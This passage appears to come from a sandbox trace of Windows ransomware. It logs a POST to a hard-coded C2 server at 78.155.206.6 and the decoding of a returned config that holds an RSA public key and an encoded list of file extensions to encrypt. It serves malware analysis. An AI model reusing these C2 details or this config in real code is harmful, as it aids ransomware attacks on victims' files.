bWEakopU3AbiRWPlQUdjlLaysZdGvuCI+XfMTxiPl7AIeLBU6E/oWvaak0lbdBH9cPTcU4Thm0916qA8mGXFko7nW2fOpEmMMQW8OW+VhbpJzWLm8585vUdu38mfQOWegxFsv4L9Cn67U3RuHrohmy5+H6fkWSVe8J/8OGBsLqY2gzj/a5Ckdn2FT3rvScJOmH2MAqLYyPGJwyva1Et8eAzAaz4GrUYzHcopeEiO+eJE6A/4424n5siwkQm0NymXfg+wpkJCcMhn05nQqtQFEiTsfguOYhUhJsVF0Y+aBXZvOWR0JyH9+ld7RnxjKO4f4O2whzCrEG3haLztz+H89Gr4EW9xzKWGuB1k+ob/5USKEicZwClLJ/GtM3spnEe8BXZF+4lTaZ8sEdM347MisMUzhicRggsVF07UCrlqVysHPLwl1h7l8eKDuFH+8EKbNXVUBiz8t9ATawqtaHnfLYSrknFNenkeDIFNU7+NRTHSFoQ0PgpWyXtD84+TbmQG5x9y6oqQ05FzKkAsBsD8DmxzQ37JIz12Qyoof4bOSDakeYSvb9qnUm12RNDLElgWkGGjACIrz5WsnowEBXoIaUEaRSb5HJ3dq4X+X6lYhdc+yIIT19K6j8K2SUTnp+jE0jolPA7k1j7MWkMGw4djJq0t1O10PLYxpkc0Vgwi7wQnJTaF9ujcPLOJhzOSSvTIdlRLpqKkRvA6+dhv7LI76ih9HJPqw8YuyvNKlGZoAZ1w3z7Fz2jCtLaff8SEFgGWFP2d/iabUp0mmEoK1UqlEe+AEeTDndSwPdvccQ4efcQkZC+onMnNmNpzt625/Vqe1TDaz4EsndpkheTM5jCVXL4wxZ9dk08GtEf+3zgu2kWh2W4dClq0P1skX6e6A8/SaKrnIkBtiL1LSbvOnQYhoTJtyuZYldNKts0RTwvkMvz8o4ZrVUQxZloQTxNYY0XhP1qtOeQy6vpPrQVp8OTCw6inOnUFMH1YR/l+GEaMxqf/Hv7IDBdfvozGMeacN2ZQYBxscjUA+WnGS6S879SOnF38AU54s/Xq5ew85QKqqoygwy0NCopSgmiKQX+YzuwLNNjCzQiYUooIKFMJXN+0h4yCltnNqBM5nLCbD1rty/PGe5rcqTHi+wx40bI4FY6+hbD4hzBK0Bdu0Vl5U08kosa/TQpX5KkSws/1xv3risuRmmejnI7nvoOZFDtpdW3c1yZef14h09G3fG/TtBFRY25jqXGHttZGyhnaZ717KrA7en2FaxEEJKNQUfn9rzG2oJLoIg08JPBCRWgJxLV4uqlV8bnagNHrEYVeZqqwneAjzQmCY+kmq32kTwJDAhLsoHLTpcbJBSJjNLHitgsPxG6/VZXxXnPjf4HPCwbFi7lJbJyLJ0TUyA5qrFq7inDPuW6u/E0nAjaIW0EQHQHOwLHfeOEzbBMrCmbsSr7qXUyWOen9l11DPiANUFT+us8hDCiObQzBxlH144cCJ0AgDg+JNpC39FPz3ulSWZL0lkSwuCXShs4IynIGLQ9uwjdai596keA1uoJd0/9rVj3UQ7RO9H95nEc1T/vKoBpv1Ma7M5LrpMsBpZsc5r9O6LpFPV7Qm4pj0NBQ6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5797 [0048.360] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0048.360] InternetOpenW (lpszAgent="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36", dwAccessType=0x1, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0048.360] InternetConnectW (hInternet=0xcc0004, lpszServerName="78.155.206.6", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0048.361] VirtualAlloc (lpAddress=0x0, dwSize=0x2800, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0048.361] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="curl.php?token=1019") returned 19 [0048.361] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName="curl.php?token=1019", lpszVersion="HTTP/1.1", lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x8404f700, dwContext=0x0) returned 0xcc000c [0048.361] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders="Content-Type: application/x-www-form-urlencoded", dwHeadersLength=0x2f, lpOptional=0x2710000*, dwOptionalLength=0x16a5 | out: lpOptional=0x2710000*) returned 1 [0052.459] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2720000, dwNumberOfBytesToRead=0x27fe, lpdwNumberOfBytesRead=0x19f81c | out: lpBuffer=0x2720000*, lpdwNumberOfBytesRead=0x19f81c*=0x164d) returned 1 [0052.460] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2720000, dwNumberOfBytesToRead=0x27fe, lpdwNumberOfBytesRead=0x19f81c | out: lpBuffer=0x2720000*, lpdwNumberOfBytesRead=0x19f81c*=0x0) returned 1 [0052.460] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0052.461] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0052.461] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.461] lstrlenA (lpString="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") returned 5709 [0052.461] VirtualAlloc (lpAddress=0x0, dwSize=0x164f, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.462] CryptStringToBinaryA (in: pszString="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", cchString=0x0, dwFlags=0x1, pbBinary=0x2730000, pcbBinary=0x19f838, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2730000, pcbBinary=0x19f838, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0052.462] lstrlenA (lpString="aeriedjD#shasj") returned 14 [0052.462] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRk